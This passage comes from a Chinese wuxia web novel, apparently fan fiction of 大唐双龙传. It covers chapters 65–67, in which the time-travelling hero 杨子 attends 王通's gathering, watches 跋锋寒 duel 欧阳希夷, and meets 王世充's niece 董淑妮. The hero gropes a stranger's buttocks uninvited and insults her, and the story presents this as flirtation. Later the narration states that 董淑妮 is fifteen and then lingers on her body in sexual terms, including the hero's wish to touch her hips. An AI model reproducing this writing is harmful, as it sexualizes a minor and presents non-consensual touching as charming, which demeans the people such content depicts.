热门搜索






[武侠]艳说大唐-16

  

第065章 跋锋寒登场



他俩寻了一间客栈开了两间房,将太过显眼的战马和秦叔宝的虎头錾金枪寄放了,便照酒楼店伙指点的路径向城南行去。

一座巨宅门外,车水马龙,不知多少人陆续来到,热闹喧嚣,门内门外灯火辉煌,人影往来,喧笑之声,处处可闻。

他和秦叔宝走向那大宅而去,发觉刚才角度看不到的府门对街处,挤满看热闹又不得其门而入的人群,少说也有数百人之众。三十多名身穿青衣的劲装大汉,正在维持秩序,不让闲人阻塞街道,防碍宾客的车马驶进大宅。

杨子笑道:“看来若是凭我们这身打扮想要混进去看大美人,似乎不那么容易。”

秦叔宝道:“人靠衣装,也属寻常。”

杨子打开包袱,取出李秀宁相赠的那身衣裳,冲秦叔宝笑道:“好在我有一身好行头,待会儿就委屈秦兄,暂且当一回我的随从了。”

秦叔宝笑道:“做杨兄弟你的随从,秦某求之不得,不过秦某也有条件的。”

杨子奇道:“秦兄的条件是什么?该不会是让我给你找个美人相陪吧?”

秦叔宝脸上难得的一红,摇手道:“非也非也,我的条件是杨兄弟你多教我一些内家功夫。”

杨子哈哈一笑,道:“秦兄你真是个武痴,这算什么条件了,朋友贵在相知,互相扶持,我怎会藏私呢?”

一边说着,一边将身上的衣物换了下来。

秦叔宝目瞪口呆的瞧着面前的翩翩贵公子,锦衣美服,俊秀少年,举手投足间,贵不可言,倘若不是知道底细的,定然会以为他是王侯将相家的公子。

杨子见他呆头呆脑的瞧着自己,笑道:“秦兄,呃,小秦,现在开始就入戏了啊。”

秦叔宝规规矩矩的道:“公子有何吩咐?”

两人相视一笑。一前一后向大门口行去,杨子的派头果然甚大,那些劲装汉子不敢拦阻,连带着那些阻拦在巨宅门口的人也都纷纷散开,好奇的猜测着,这是否是哪一家的公子。

杨子随意报了一个假姓氏,大摇大摆的登堂入室。

大宅的前院,到处都是宾客和婢仆,花灯处处,光如白昼,热闹非凡。

跟着人走进主堂,内中气氛更是炽烈,厅内靠墙一列十多张台子,摆满了佳肴美点,任人享用。人人都在兴奋地讨论石青璇的箫艺,就好像都是研究她的专家似的。弄得杨子也对石青璇生出更强烈的好奇之心。

他们两个的到来,吸引了不少的目光,杨子英俊不凡,风度翩翩,而秦叔宝虽然相貌平平,却有种不怒而威的大将风度,两人犹如鹤立鸡群一般,那些打扮得花枝招展的女客们见了杨子,再也舍不得移开目光,纷纷私下打听那位俊俏公子的来历,只可惜谁也不认得。

杨子到此来的目的,就是想打探宇文化及的下落,但他看到这么多人都对自己颇有兴趣的样子,这才懊悔太过高调了,换了这身行头固然混进来容易,但也受人瞩目,万一宇文化及真的在这里,那便糟之大糕了。想到这里,四顾瞧去,和秦叔宝在不起眼的角落座位坐下,这才避免了众目睽睽的命运。

坐下之后,秦叔宝便毫不客气的大吃特吃,弄得人人侧目,杨子暗自腹诽,这秦叔宝好歹也是个领兵的将军,怎么一点也不注意形象!他移开目光,装出一副我不认识他的模样来,忽见堂侧的一组酸枝椅中,坐了三个人,其他人都只能立在一旁,更突显了这三个人的身分地位。

中间一人须发皓白,气度威猛,却穿着一身布衣,在这豪宅之内显得格格不入,虽是坐着,但仍使人感到他雄伟如山的身材气概。

另一人身穿长衫,星霜两鬓,使人知道他年纪定巳不少,但相貌只是中年模样,且一派儒雅风流,意态飘逸,予人一种超凡脱俗的感觉。

陪这两人坐着说话的是个大官模样的中年人,非常有气派,亦给人精明厉害的印象。

大概是感觉到了杨子的目光,那威猛老者和长衫老儒不约而同的向他望来。

杨子心神一凛,忙转过头去和秦叔宝说话,他感觉到他们的目光在注视了自己一阵之后便收了回去,放下心来,那两人目光之凌厉,是杨子从所未见的,就算是和东溟夫人单美仙及杜伏威相比也不逊色,杨子暗暗吃惊,深感此地藏龙卧虎,此行是福是祸,犹不可知,不由得惴惴不安。

这时,几个美艳女客走过来和他搭讪,杨子也借此机会打听,原来那身穿布衣的威猛老者就是人称“黄山逸民”的欧阳希夷,乃成名至少有四十年的顶尖高手,与玄门第一人“散人”宁道奇是同辈分的武林人物,早退隐多年,今趟因来探望宅主人,恰巧逢上这场盛事。

那白鬓老儒是这豪宅的主人,名叫王通。是当代大儒。以学养论,天下无有出其右者,以武功论,亦隐然跻身于翟让、窦建德、杜伏威、欧阳希夷,以及四阀之主那一级数的高手行列中。王通生性奇特,三十岁成名后便从不与人动手。弃武从文,不授人武技,只聚徒讲学,且著作甚丰。最为人乐道者莫如他仿《春秋》著《元经》仿《论语》成《中说》自言其志曰:“吾于天下无去也,无从也,惟道之从”也只有他这样的身份才请得动孤芳自赏,从不卖人情面的石青璇。

而那大官则是大隋朝廷中举足轻重的人物,姓王名世充,正是杨子此趟要找的人之一,他奉了炀帝的命令对付瓦岗军,忙里偷闲来此一睹石青璇的风采,宇文化及也在回京中途接到炀帝旨意,来东平郡和王世充会晤。

那几个美貌女客本是有些身份的人,并不愚笨,但却不知为何见了杨子大生好感,知无不言,言无不尽,滔滔不绝的说了起来,许是因为杨子那来自现代世界的独特气质,他举手投足、一颦一笑间流露出来的俊雅,令几位女客如痴如醉。

中途竟有个聪明至极的女客借口说得口干,令一小婢送来美酒一壶,斟酒时,“不慎”撒在杨子的腿上,娇呼一声,连连道歉,殷勤相劝要杨子哥去偏厅换衣,杨子见这女客眉目含情,眼波流转,一脸的荡意,哪还不知这位如狼似虎的美丽女客醉翁之意不在酒?正犹豫着是否趁石青璇未到之际尝尝开胃小菜,就听入门处惊叫声迭起,两个人凌空飞跌进来,“嘭嘭”两声跌个四脚朝天。宾客们潮水般散了开来,空出近门处大片空间。看着一时只懂呻吟而爬不起来的两个把门大汉,人人面面相觑,想不通有谁敢如此胆大包天,闯到这里来生事?

主厅内本已挤迫,此时又腾出大片空间,变成各人紧靠在一起,那眉眼生春的女客趁机娇呼一声,扑进杨子的怀中。

“张公子,这里这么挤,我们不如去偏厅吧!”

门口突然发生变故,也就只有这不知是谁的老婆的色女才会说出这话来,杨子怎肯离开,微笑着站起身来,那女客以为他要去偏厅,眼中掩饰不住的兴奋,哪知杨子却道:“好像有热闹瞧,不去偏厅了……”

人群中,一名蓝衣汉子掠了出来,怒喝道:“谁敢来撒野!”

一声冷哼从大门外传来,一男一女悠然现身。

男的高挺英伟,虽稍嫌脸孔狭长,但却是轮廓分明,完美得像个大理石雕像,皮肤更是比女孩子更嫩滑,却丝毫没有娘娘腔的感觉。反而因其凌厉的眼神,使他深具男性霸道强横的魅力。

他额头处扎了一条红布,素青色的外袍内是紧身的黄色武士服,外加一件皮背心,使他看来更是肩宽腰窄,左右腰际各挂了一刀一剑,年纪在二十四五间,形态威武之极。

在场大多是见惯世面的人,见此人负手而来,气定神闲,便知此人大不简单,且因他高鼻深目,若非是胡人,亦该带有胡人血统,无不心中奇怪。

那女的样貌亦不类中土人士,却明显不是与男的同一种族,但无论面貌身材,眉目皮肤,都美得教人抨然心动。只是神情却冷若冰霜,而那韵味风姿,却半分都不输于单琬晶、李秀宁那种级数的绝色美人。她也是奇怪,跨过门槛后故意堕后了半丈,似要与那男人保持距离。

杨子一看这男人英俊的脸蛋和肃杀的气势,心中一震,猛然想起一人。

跋锋寒!

在大唐双龙传里颇为重要的角色,突厥剑客,这人的性格极为复杂,亦正亦邪,既有正义感,重感情,但又霸道,心狠手辣,桀骜不驯,为了提升实力而滥杀。

杨子惊叹了一声,跋锋寒果然是个大帅哥,而且还是个很有种的大帅哥。身旁的那两个女客双目发亮,低声赞道:“好漂亮的男人!”

紧接着转头瞧向杨子,暗自比较,但左看右看,却是始终觉得身边的这个少年更俊更有吸引力。

“哈哈哈……”

数声长笑,欧阳希夷在笑声中走了出来,喝道:“好!英雄出少年,来人与突厥的毕玄是何关系?”

此言一出,本是议论纷纷的人们立时静了下来,连那准备出手的蓝衣大汉也立时动容,不敢轻举妄动。武尊毕玄的名头,武林中有谁不知!

跋锋寒眼中露出一丝讶色,定睛瞧了欧阳希夷一眼,淡淡的道:“原来是‘黄山逸民’欧阳希夷,难怪眼力如此高明,不过在下非但与毕玄毫无关系,还是他欲除之而后快的人。”

众人见他非但直呼欧阳希夷的名字,又竟连被誉为天下最顶尖三大高手之一的毕玄都似乎不怎么放在眼内,满堂皆惊。

欧阳希夷沉声道:“阁下好大的口气,老夫已数十年没动过拳脚,今趟也不得不被迫出手了,给我报上名来!”

跋锋寒一声冷笑,好整以暇的道:“在下跋锋寒,今趟与这位小姐结伴而来,是……”

白衣美女冷冷道:“你还你,我还我,谁是你的伴儿。哼,是害怕了吗?”

众人大感愕然时,跋锋寒露出啼笑皆非的神色,竟是非常潇洒好看,在场男女都不由被他吸引。

直到这白衣美女此刻开口说话时,杨子才注意到她,见她白衣胜雪,脸容绝美,心中怦然一跳,张口结舌,这美女的衣饰装扮,和傅君绰竟是有几分相似,难道是她?杨子猛然醒悟过来,刚才他一直看跋锋寒去了,没留神她,此时才想起,原著里,傅君绰有两个妹妹,傅君瑜和傅君嫱,而傅君瑜曾喜欢过跋锋寒,这美女,难道竟是傅君瑜?

杨子心中一阵难以言喻的醋意,在他吟荡的内心深处,傅君绰三姐妹都是他的,怎可让于别人?就算是喜欢别的男人也不可以!

本来杨子哥对跋锋寒还颇有好感,但想到傅君瑜曾喜欢过他,好感立减。

便在这时,欧阳希夷的手已缓缓的落在剑柄上……

第066章 杨子的风骚

当欧阳希夷右手置于剑柄上的一霎,全身气势暴涨,主厅中的气温骤降,森寒的杀气弥漫全场!

跋锋寒眼中闪过凌厉之色,外衫无风自动,飘拂作响,威势竟一点也不逊色于欧阳希夷。

大战前,两人以气势比拼,除了杨子之外,谁也想不到籍籍无名的跋锋寒居然能和欧阳希夷分庭抗礼。主厅中的数百名客人屏息静气,静待两人正面交锋的一刻!

“锵”的一声,欧阳希夷首先拔剑,身形向前“撞”去,他步伐间的气势加上他雄伟的身材,自然而然的散发出令人无可抵挡的气势。

跋锋寒嘴角仍挂着一丝笑意,负在身后的手拽起了外袍下摆,分别握在刀把与剑柄处,使人不知他要用刀还是要用剑,又或刀剑并用。

刹那间,跋锋寒刀离鞘而出,化作一道白虹,两股无形无声的剑气刀芒毫无花俏的绞击在一起,发出一声激扬的震鸣。跋锋寒在一击之后的瞬间飘身后退,面带微笑着横刀伟立,那凛然的气势,令在场之人不分敌友的暗赞一声:好个伟岸男子!

欧阳希夷站立在原处,上身微微一晃,脸上露出难以置信的神情,王世充、王通和在场宾客均是动容,谁能想到这个才二十多岁的青年,竟能正面硬撼欧阳希夷,并且看上去还是欧阳希夷吃了一点暗亏。

杨子虽然站立得远,但却看得清楚,虽然刚才只是一个照面,跋锋寒已经算是出尽风头了,杨子不禁暗暗妒忌,环顾四周,群雄汇聚,这样的场面,居然让这小子独领风騒,不平衡啊不平衡,杨子哥站在人群之中连连翻着怪眼,又见已经被挤到两三米外的秦叔宝也露出一脸的钦佩来,就更加不爽了。

身前一个屁股丰硕如瓜的女客情不自禁的低声赞叹,惹毛了杨子哥,杨子哥忿忿的伸出怪手,在身前女客的肥臀上捏了一把,在她耳旁小声道:“騒货,你说他帅还是我帅?”

一声騒货,叫得那女客喜出望外,原本以为他是个五好青年,又俊又阳光,没想到俊美少年的嘴里蹦出这么不雅的字眼,惊喜交集的肥臀女客娇躯往后一仰,靠在杨子的身上,似嗔非嗔的用手指了指杨子。

场中的欧阳希夷已经动了杀机,跋锋寒这般年纪就已经达到了深不可测的地步,他观人之术老到,看出跋锋寒是个冷酷无情的人,这种人若是作恶,为祸不小,当下使出拿手的“沉沙剑法”应战。

这沉沙剑法和李靖的血战十式一样,讲究气势,置诸于死地面后生,胜败决于数招之内。欧阳希夷此刻真正动了杀机,出手又与刚寸试探的一剑不同。

跋锋寒毫不示弱,脚下踏着奇异的步法,只在丈许的距离游走,使人感到他并非直线进击,而是不断改变角度方向,但偏又好象只是直线疾进。那种难以形容的感觉,只是旁观已教人感到头痛,与他正面对敌者的感受如何更是可想而知。

杨子一边蹂躏着身前风騒女客的肥臀,一边却是全神贯注于场中的决战,在见到跋锋寒的奇异步法之后,立时震惊,原来,武功并不单指刀法剑法和拳掌之技巧,这种步法同样是极为重要和有效的战术!

跋锋寒和欧阳希夷的对决,令杨子受益匪浅,领略到一个崭新的战术层面。是的,是战术!在杨子的眼中,跋锋寒的这种奇异步法更像是战争中的迷惑计策,震撼的同时,首次感觉到,原来武功也可以是这样的!

就连杨子自己也不知,他今天领悟到的这些,已经令他达到了一个新的高度,也对他未来的武学造诣开拓出一个新的领域。

武功,不光是拳脚技巧和内家真气,不是剑法刀法和点穴,从另一个层面来说,武功是艺术,是兵法。一场战争中,统帅应该如何使用自己手中的资源和兵力,以最小的代价去获得胜利?在这一刻,杨子的脑中犹如电光火石般一闪!

一个似真似幻的宏伟场景,在杨子的脑中显现出来,两军对阵厮杀,一方攻,一方守,两军统帅不断发出指令,兵如棋子,在双方统帅的布置和操控下奋战!

“好!”

跋锋寒猛地后退,气机相引下,欧阳希夷手中古剑化作惊涛骇浪般的剑影,大江倾泻地追击而去。

跋锋寒像早预知了有这种结果,冷静得像个无风无浪的深潭,俊伟的容颜静若止水,疾退数丈后,又抢了回来,横刀封架。

他的一退一进,就像潮水般自然,本身已具有浑然天成的味儿,教人生出难以言喻的奇异感觉。王世充和王通等在场的高手再不能掩饰脸上惊骇的神情。打由跋锋寒入门开始,他们已察觉到此子的不凡处,怛仍梦想不到他厉害至此。“当当当!一在电光石火的迅疾光景中,两人交换了三招。

刀光四射,剑气横空。

剑芒刀势,笼罩着方圆三丈处,围观者都下意识地想尽量退离这令人惊心动魄的战场。

跋锋寒忽地刀势收窄,只紧守一个窄少的空间,凭其奇异的步法,在欧阳希夷有如惊涛骇浪、大开大阖的剑影中,鬼魅般封堵格挡。

乍看似是他落在下风,但王通等却知道这实是对付欧阳希夷最高明的策略。

要知凡以强攻为上的招数,最是耗损真气,假若跋锋寒能把目前的情况延长下去,到欧阳希夷力竭时,就是跋锋寒反守为攻的一刻了。当然,欧阳希夷七十多年的功力,气息悠长,可能跋锋寒未捱到那刻早已一命呜呼,只不过看他现在的纵退自如,谁都不敢说一向能以两三式决胜负的欧阳希夷可在那一刻之前宰掉他。

王通和王世充惊骇的对望一眼,同时长身而起,抢到场中边缘,他们并非要以多打少,而是想在一旁给跋锋寒造成心理压力。也并非他们不仗义,欧阳希夷在武林中的地位和威望,若是被跋锋寒当众击败,还有何面目再见人?同样,他若对付一个后生晚辈居然要人帮手的话,就算是当场格杀跋锋寒,他也无法苟活于世。武林中人,名重于命。

此时的欧阳希夷心无旁鸯下,“唰唰唰……”

一连三剑连续劈出,每一剑取的都是不同角度,力道忽轻忽重,任谁身当其锋,都会生出难以招架的感觉。但偏是跋锋寒长刀疾运,一一化解,还刀势突然扩张,取回了少许主动,到了这个地步,场中超过大半的人都知道欧阳希夷今天要栽。

杨子也不再看好欧阳希夷,放弃了研究他剑法,全神去看跋锋寒的武功套路。

就在这时,跋锋寒忽然发起猛攻,欧阳希夷措手不及之下,硬撑了一阵,败象已明。

王世充和王通知道若再不出手,欧阳希夷老命不保,同时怒吼一声,分左右联手进击。

场中形势立时逆转,跋锋寒对付一个欧阳希夷已经是使出了全力,而王世充和王通均是当世一等一的高手,武功都不在欧阳希夷之下,跋锋寒如何能抵挡?但他昂然不惧,长啸一声,刀剑齐出,步法再变,竟是变得更加诡异,王世充和王通全力攻击,绝不留手,此等情况下,他们等于三人联手,务要在最短的时间内将跋锋寒击杀,方能稍稍挽回丁点颜面。跋锋寒能将这三大高手逼到这个地步,就算是血溅当场也足以自豪。

场中的宾客再无半点声息,震撼,只有这俩字可以形容此时他们的内心,场中三人,任谁一个都是名动江湖的宗师级高手,居然要逼得联手对付一个初出茅庐的小子,这件事,匪夷所思!

就在这时,宾客之中一人高声大喝:“以三打一,以众欺寡,好不要脸!”

这一句话,犹如惊雷!更像是一个响亮的耳光同时打在了三大高手的脸上。王通面红耳赤,欧阳希夷羞愤欲死,只有王世充面色如常。

刀剑相交,金铁交鸣声中,三大高手同时后退,面色难看到了极点,而此时,跋锋寒也显露出强弩之末的颓势,但这一战,已能令他从此声名鹊起,名动天下。

王世充沉声道:“是谁?”

“是我!”

杨子高声应道,同时向秦叔宝投去一个眼神,制止了他挺身出来。

人群虽挤,但此时也如潮水般分开,将杨子曝露在人前。那些起先没有看到杨子的宾客都是发出了一声惊叹,锦衣华服的俊美少年,英挺倜傥,宛若玉树临风,便是潘安再世也不过如此!

“你们三位加起来快有两百岁了吧,居然联手欺负人家一个,难道不惭愧么?”

他昂首阔步,摆足了騒包的谱儿,走上前来。心中却是在想:这露脸的机会怎么能少了本少爷的份?跋锋寒的风头也出得差不多了,该轮到本少爷了!

他义正言辞,昂然走到场中,毫不退让的与王世充等对视。

“这位跋兄乃是突厥人,他的武功我是很佩服的,可我们中原难道就没人了么?竟然用这样卑劣的手段!”

欧阳希夷一声长叹,凄然道:“罢了,罢了,老夫还有何面目苟活人世?”

忽然举剑,往颈上一架。

“住手!”

杨子运足真气吼了一声。

欧阳希夷一震,立刻被离得最近的王通一掌拍落他长剑。

“欧阳兄……”

王通双目通红。

杨子厉声道:“胜不骄败不馁,武学之道的真谛,本不是用来强分胜负的,执着于一时胜败,便落了下乘。欧阳前辈,胜败乃兵家常事,你这么在意一场拼斗的胜败,永远也达不到毕玄、宁道奇和傅采林的境界!”

欧阳希夷犹如当头棒喝,前额冷汗淋漓,细思片刻,忽然向杨子躬身行礼,正色道:“小兄弟教诲得是,我懂了。”

他将长剑掷于地下,大笑数声,竟然就那么扬长而去。

王通和王世充及在场的高手均是露出凝神深思的神情,场中鸦雀无声。

忽然,就在这时,一缕箫音传来……

第067章 青璇箫艺

箫声一起,已经走到门口的欧阳希夷蓦然停步。杨子也是神情一动,心中暗暗兴奋,这是石青璇在吹箫!

箫音抑扬顿挫,忽而高昂慷慨,忽而幽怨低吟,高至无限,低转无穷。时而,令人如同置身山野之间,时而,又像是踏足于惊涛骇浪中的礁石之上。音符间的转折水乳交融,圆转如意,犹如天籁。

在一阵杀伐气味的吹奏之后,箫音转柔转细,在鸦雀无声的主厅之中绕梁回旋,却又仿佛来自无限远方的缥缈之境,而使人心迷神醉的乐曲如同在某个神秘孤独的天地间踽踽独行,勾起每个人深藏的痛苦与欢乐,涌起不堪回首的伤情,可咏可叹。

箫音再转,一种经极度内敛的热情透过明亮勺称的音符绽放开来,仿佛轻柔地细诉着每一个人心内的故事……

直到箫音停歇,主厅中没有人能说出话来,人人如痴如醉,不知身在何处。

王通此时早忘了跋锋寒,心中杀机全消,仰首悲吟,声调苍凉道:“罢了!罢了!得闻石小姐此曲,以后恐难再有佳音听得入耳,小姐箫艺不但尽得乃娘真传,还青出于蓝,王通拜服。”

众人至此才知王通与石青旋有着深厚渊源,见他提起石青旋母亲时双目隐泛泪光,都是猜测他曾有一段没有结果的苦恋。

欧阳希夷仿佛忘了刚才的挫败,眼中透出温柔之色,高声道:“青璇仙驾既临,何不进来一见,好让伯伯看你长得有多少像秀心。”

跋锋寒朗声道:“若能得见小姐芳容,我跋锋寒死亦无憾。”

此时他身价倍增,没有人敢怪他口出狂言。

杨子也是充满了期待,腰挺得笔直。

一声轻柔的叹息,来自屋檐处,只听一缕甜美清柔得没有任何言语可以形喻的女声传入大厅道:“相见不如不见,青璇奉娘遗命,特来为两位世伯吹奏一曲,此事既了,青璇去也。”

厅内众人立时哄然,纷纷出言挽留。杨子大急,他好不容易才有一睹青璇美女的机会,这古代又没有电话号码和MSN,谁知道下次再遇是何年何月,万一人家青璇美女嫁了人,岂不要悔青了肠子?

急中生智,杨子吐气开声,道:“青璇姑娘慢来,这里千百人从各地赶来,就是为了能一睹你的芳容,难道你非得神龙见首不见尾玩神秘,让大家都失望么?如果青璇姑娘你不愿再奏,也请喝上一杯美酒,以表对大家这么支持你的谢意,如何?”

无人回应……

鸦雀无声的大厅里,落针可闻。

杨子心中郁闷之至,也太能装逼了吧!这都什么人啊!还不出来?难道本少爷这样的美男子,她也能视若无睹?

这时,一个身穿鹅黄裙衫的女子从门口袅袅婷婷的走来,厅上众人皆是动容,向那女子瞧去,杨子也是瞪大了两只色眼。

那女子低垂粉颈,走路的姿势颇有些不自然,像是很紧张似的,杨子暗忖:原来名动天下的石青璇竟是个害羞的小女子!

就在大家翘首以待,一个个兴奋欲死之际,那黄衫女子来到众人面前,深施一礼,带着颤音道:“青璇小姐已经走了,让小婢来跟大家说一声……”

抬起头来,一张不过略有姿色的脸蛋呈现在所有人的面前。

嘘声大起,众人无不失望。杨子却是松了口气,虽然他也失望,但刚才当他看到黄衫女子走过来的仪态和身材时,就已经有些错愕了,他是见过不少美女的资深狼友,傅君绰、素素、卫贞贞、东溟夫人单美仙、东溟公主单琬晶、任媚媚、李秀宁……梅兰菊竹,各有千秋,美女不光是要脸蛋漂亮,更要有身材,但最重要的是气质。

脸蛋漂亮,只算得上是普通级别的美女,如果脸蛋和身材都漂亮,那就是一等美女了,再加上气质好的话,就是极品了。刚才的黄衫女子一出来,虽然低着头看不到全貌,眼睛“毒辣”的杨子哥立时便知道她不是石青璇。

那黄衫小婢从未在这么多人的场合下说话,讲完之后,心慌意乱的退下。

这时,王通忽然惊声道:“跋锋寒呢?”

厅中诸人这才惊觉,跋锋寒和那白衣美女已是不知所踪,显然是趁着刚才所有人的注意力都集中在石青璇吹奏时逃了。

杨子没瞧见石青璇庐山真面目,甚感可惜,而且宇文化及也没有露面,呆在这里久了也不安全,只能暂且先走,暗中跟踪王世充,宇文化及既然是奉皇帝的命令来和王世充会晤,肯定是会有接触的。他转身给人群中的秦叔宝使了个眼色,就往外行去。

“这位公子,老夫冒昧想请你喝一杯酒,不知是否赏面?”

说话的,是刚才听闻石青璇箫音而回转头来的欧阳希夷。他此时像是大彻大悟,神情恢复了最初的从容威猛,笑容满面的瞧着杨子。

杨子心道:你又不是大美女,我赏你什么面子!

“欧阳前辈太客气了,晚辈还有些私事要办,改日再来拜访。”

杨子不卑不亢的道。

王通也笑着劝道:“老夫招待不周,想必公子见怪了。”

王世充也笑道:“通老,我认识你这么多年,你还是首次这么客气的对待一个后辈哩。”

转向杨子道:“小兄弟,你该不会不给通老和逸民面子吧?你有什么紧要事尽管说出来,我王世充若是办不到,还有通老和逸民这两位手眼通天的老家伙在,世上没有什么事能难得了他们。”

厅上众人艳羡着瞧着杨子,王世充刚才那番话,实在没有夸大多少,纵使杨子杀人造反了,他们当中随便一人出来力保,也决计不会有事,更何况是三个人。杨子能得他们三个人同时看重,当真算得上是麻雀变凤凰了。

杨子推脱不得,迟疑片刻,想到他们三个老不死加在一起的能量,似乎对营救贞贞极为有利,心中怦然。抱拳施礼,道:“三位前辈如此错爱,晚辈就恭敬不如从命了。”

欧阳希夷因他先前一言喝醒自己,实在等同于救了自己的命,最是欣慰,热情相邀,亲自引了杨子和秦叔宝去后厅。王世充对杨子也是极有兴趣,抛下主厅数百位宾客相跟着去了,只有王通身为主人,不好抽身。

欧阳希夷领路,来到一间小亭前,亭中石桌洁白如玉,显是上等玉石打造,玉桌之上摆放着五六种时鲜水果,欧阳希夷吩咐婢女准备菜肴美酒,请杨子和秦叔宝坐了,这才问起杨子的姓名籍贯、师承来历。

杨子早有准备,他想到先前进门时曾随口说了一声自己姓张,微笑道:“晚辈张君宝,扬州人氏,幼年时随父母离开家乡,后来他们在战乱中丧生,古人云,行千里路,胜读万卷书,我便孤身一人游历天下,以便增长见闻。听说青璇小姐才艺名震天下,所以冒昧不请自来。”

王世充心中起疑,道:“张公子方才对武学之道颇有见识,怎会是普通人?老夫观人无数,很少有看走眼的,张公子身负绝艺,内力深厚,不知业师是哪一位高人呢?”

杨子迟疑了一下,干脆苦笑一声,道:“前辈见谅,家师曾有严令,不许我在外面提他名讳,晚辈不敢违逆。”

他看多了小说电视,知道不公开师承是江湖上允许的,更何况,这些老家伙都是人老成精,无论自己怎么编,恐怕也不容易瞒过,索性学那石青璇玩神秘算了。

果然,王世充和欧阳希夷没有追问,但这俩老家伙却是心痒难熬,虽不好明着问,也就打定主意要从他言谈中找出蛛丝马迹,一番交谈,杨子却是个鬼精灵,话语中汤水不漏。

边喝酒边交谈了一阵,王世充老狐狸见不能从杨子的嘴里套出话来,便转而向秦叔宝旁敲侧击,杨子正担心秦叔宝会说漏嘴,忽然一个身穿黑色劲装的健美女郎如风而至。

此女身材极好,在劲服的紧裹之下,她苗条而玲珑浮凸的美好身段表露无遗,惹人无限遐想。

所到之处,婢仆纷纷向她行礼致意,杨子猜测这健美女郎的身份时,一声娇呼:“欧阳伯伯,舅舅,小妮到处寻不到你们,原来你们躲在这里喝酒!”

杨子一愣,瞧了王世充一眼,忽地恍然:董淑妮!

果然,王世充转头向她瞧去,眼中流露出怜爱的神色,笑道:“顽皮丫头,一天到晚就知道疯跑,早知道就不带你来东平郡了!”

说话间,董淑妮已来到亭中。

她皮肤如雪似玉,黑衣白肤,明艳夺目。秀眉飞扬入鬓,乌黑的秀发在顶上结了个美人髻,一撮刘海轻柔地覆在额上,最使人印象深刻是她挺直的鼻梁,与稍微高起的颧骨匹配得无可挑剔,傲气十足但又不失风姿清雅。红润的嘴唇带着一丝似笑非笑的动人神气,尤其是近观之下,这美女更加是美得惊心动魄,她五官的线条不似中原女子那般柔和,而是清晰得令人有惊心动魄的感觉,美目深嵌在秀眉之下,两片洋溢着贵族气派的香唇紧闭着,让人有种百看不厌的惊艳。

“咦!”

美人儿董淑妮看到亭中的杨子和秦叔宝,一双活泼而灵动的美眸闪出好奇的神采。

欧阳希夷笑道:“小妮子,刚才你错过了青璇姑娘精彩的箫艺了。”

董淑妮脸上现出些许遗憾之色,转而便释然,道:“欧阳伯伯,你不给妮儿介绍一下客人么?他们能令欧阳伯伯和舅舅一同款待,想必不简单呢!”

她大大方方的在王世充旁边的石凳上坐下。

欧阳希夷笑道:“这位是张公子,少年才俊,文武双全,见识过人,连老夫我也忍不住心生仰慕啊。”

董淑妮眼中掠过一丝讶色。欧阳希夷又介绍秦叔宝,赞道:“这位气宇不凡的俊杰之士是张公子的护卫。”

杨子微笑道:“秦兄虽是晚辈的护卫随从,但晚辈向来视作兄长。”

秦叔宝露出一丝欣慰的神情,欧阳希夷和王世充闻听此言,暗暗赞许。

王世充笑道:“这小妮子是老夫的外甥女,叫做董淑妮,调皮得很。张公子学识过人,正好替老夫教教她。”

董淑妮撅起小嘴,撒娇道:“舅舅,他看上去比妮儿还小呢,他能教我什么?”

王世充假作愠怒,沉声道:“没规矩。”

杨子被她撒娇的娇憨神态弄得心神一荡,生怕当场露出猪哥的不雅仪态,忙眼观鼻、鼻观心,谦逊的道:“王前辈太客气了,董小姐聪明伶俐,天真可爱,乃是真性真情。”

董淑妮笑面如花,娇声道:“算你有眼光。”

忽然像是想起什么,伸手就毫无顾忌的去拉杨子的手,道:“小弟弟,我舅舅和欧阳伯伯很少赞人的,他们说你文武双全,想来是不错的,你快跟我走,我有事要你帮忙!”

纤纤素手,温软绵绵!杨子哥一颗纯洁的心怦怦乱跳起来……

王世充瞪了董淑妮一眼,责备道:“没规矩!女孩子家要懂得矜持!”

董淑妮红嘟嘟的嘴儿立时扁了起来,美眸幽怨,杨子瞧得食指大动,喉咙微不可察的上下涌动。

欧阳希夷笑道:“行满,孩子们出去玩玩打什么紧?张小兄弟只怕比妮子还小些,难道还会发生什么事不成?”

注:王世充——字行满,本姓支,祖籍西域,隋末军阀割据者之一。

董淑妮身材修长健美,匀称苗条,身高应有一米七左右,在古代来说,是非常高挑了,前凸后翘,玲珑有致,丰满诱人,显得很是成熟,但实际上董淑妮却只有十五岁,比杨子还小几个月。

王世充年轻时也是个多情种子,暗恋表妹,也就是董淑妮的娘,直到表妹出嫁,始终没有勇气说出来,后来表妹在董淑妮孩提时患病亡故,是以王世充爱屋及乌,对董淑妮极为宠溺,就连王世充的儿子也为此眼红。

王世充尴尬一笑,瞧向欧阳希夷,见他眼神奇怪,心中一动,向杨子笑道:“如果杨公子不介意的话,老夫就唤你一声贤侄吧。”

杨子微笑道:“王伯。”

王世充爱怜的瞧了董淑妮一眼,道:“你们出去玩,注意些安全。”

董淑妮破涕为笑,那宛若阳光般佻脱的美丽笑容,令杨子眼前一花,暗暗赞叹,好个小美人啊!怪不得和另一个叫作荣姣姣的美女被称为“洛阳双艳”名不虚传,名不虚传啊!

两人年纪相若,男的英俊倜傥,女的千娇百媚,走出王宅时,不知多少人投去惊艳一瞥,董淑妮见惯了这种场面,毫不在意和杨子并肩而行,甜美的女儿香撩拨着杨子哥纯洁无瑕的脆弱心灵,那柔美如弱柳的迷人腰肢,凸翘的香臀,真想摸一摸啊!可惜的是,王世充派来保护的六名武士紧跟在身后。

心醉神迷的走了一段路去,董淑妮忽然停步转身,道:“向将军,你们不用跟来,有张……”

瞧向杨子问道:“你叫什么名?”

高挺的鼻梁,嘴角微翘,显出一副高傲的姿态,杨子有些不悦,这小妮子虽然发育得颇有规模,但却还没长大,她舅舅和黄山逸民一齐相陪的客人,居然她好像在问一只小猫小狗似的神情!

“张君宝!”

董淑妮转身道:“有小宝陪我就够了,你们回去吧!”

那姓向的将军为难的道:“小姐,大人吩咐在下严密保护,在下不敢擅离职守,请小姐原谅。”

董淑妮双手叉腰,愠怒道:“我说了不用你们就是不用,向思仁,你只听我舅舅的命令,不听我的么?”

向思仁哪敢得罪王世充最宠溺的外甥女,却是冲着杨子道:“张公子,你能保护董小姐么?”

杨子眉头登时皱起,这向思仁的语气,好像不太友善啊!干嘛?吃醋还是有病?

杨子冷然道:“怎么?向将军以为本少爷也是跟班么?”

暗讽这姓向的只不过是个跟班跑腿,向思仁如何听不出来,这向思仁本是王世充麾下的一员将领,怎会是跟班?听到这里,脸上现出怒意,道:“张公子莫非以为本将军是跟班?”

火药味十足!

